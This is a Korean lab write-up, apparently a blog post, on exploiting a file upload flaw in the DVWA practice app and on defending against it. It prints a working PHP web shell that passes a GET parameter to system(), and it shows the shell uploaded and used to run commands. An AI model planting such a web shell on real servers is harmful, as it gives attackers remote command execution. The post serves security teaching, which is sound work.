❓ 공격 개요
File upload 공격 개요
> File uploade 취약점은 파일을 업로드하는 기능에 적절한 보안 대책이 적용되지 않을때 발생한다.
> 파일을 첨부할 수 있는 게시판에서 웹쉘(Web Shell)이라는 악성 파이을 업로드 하여 시스템으로 침투해 들어갈 수 으며 Command Injection 과 같이 웹 페이지를 통해 시스템 명령어를 내릴 수 있다.
💻 실습
File upload 메뉴의 메인화면이다
업로드할 image 파일을 선택하라는 문구가 보인다
파일을 선택할 수 있는 버튼과 업로드 버튼이 보인다.
대부분의 사용자는 게시판 형식에 맞는 확장자의 파일을 업로드 할테지만
공격자는 공격을 위한 다른 확장자들도 업로드해 보려고 시도할 것이다
이제 실습을 해보자
php 로 웹쉘 파일을 만들어 올려볼 것이다
실습에 사용할 웹쉘 코드는 다음과 같다
<?php
// command 입력을위한 폼 생성
echo 'Webshell upload Sucesse!<br>';
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
웹쉘 코드의 내용은
명령어를 입력받을 수 있는 간단한 폼을 생성후
폼에 명령어를 입력하면 cmd 파라미터($_GET[cmd])를 통해 전달되고
system() 함수를 이용하여 명령어를 실행하게 된다
이제 webshell.php 를 업로드 해보자
image 파일이 아닌데도 업로드가 되었다
업로드에 성공한 메시지가 출력되며 파일이 업로드된 위치도 노출되었는데,
../../hackable/uploads/webshell.php에서
../ 가 두 번 사용되었으므로
현재 주소창에 표시된 URL경로를 기준으로
http://192.168.175.130/dvwa/hackable/uploads/webshell.php 경로에 업로드 된것을 확일할 수 있다.
(파일이 업로드된 경로가 웹을 통해 접근할 수 있는 경로여야만 file upload 공격에 성공할수 있다)
웹쉘 파일 실행을 위해 파일이 업로드된 경로로 접속해보자
webshell.php 파일이 실행되어 명령어를 입력받을 수 있는 페이지가 표시된다
이제 폼 필드를 통해 원하는 명령어를 실행할 수 있게되었다.
whoami; ifconfig 명령어를 통해 사용자와 ip를 확인할 수 있다
🔍 대응방안
1. 확장자와 내용검사
> 꼭 필요한 파일 형식만 업로드 되도록 파일의 확장자와 내용을 검사한다. 확장자를 수정하여 우회할 수 있으니 파일의 내용까지 일부 검사하여 파일의 종류를 확실히 검사해야 한다.
2. 업로드된 파일을 사용자가 접근 불가능한 경로에 저장
> 파일 업로드를 위한 별도의 서버를 구축하고 웹 애플리케이션 서버와 완전히 분리하는게 좋다
3. 파일이 업로드 되는 디렉토리의 실행 권한제거
4. 업로드된 파일및 확장자 변경
> 업로드된 파일의 확장자를 지정한 확장자로 변경시키거나, 파일이름을 랜덤하게 재생성하여 공격자가 업로드한 파일의 경로를 추측하지 못하도록 한다.
'Web Hacking > DVWA' 카테고리의 다른 글
[DVWA] - SQL Injection (0) | 2022.11.12 |
---|---|
[DVWA] - Insecure CAPTCHA (0) | 2022.11.09 |
[DVWA] - File Inclusion (0) | 2022.11.07 |
[DVWA] - CSRF(Cross Site Request Forgery) (1) | 2022.11.06 |
[DVWA] - Command Injection (1) | 2022.11.02 |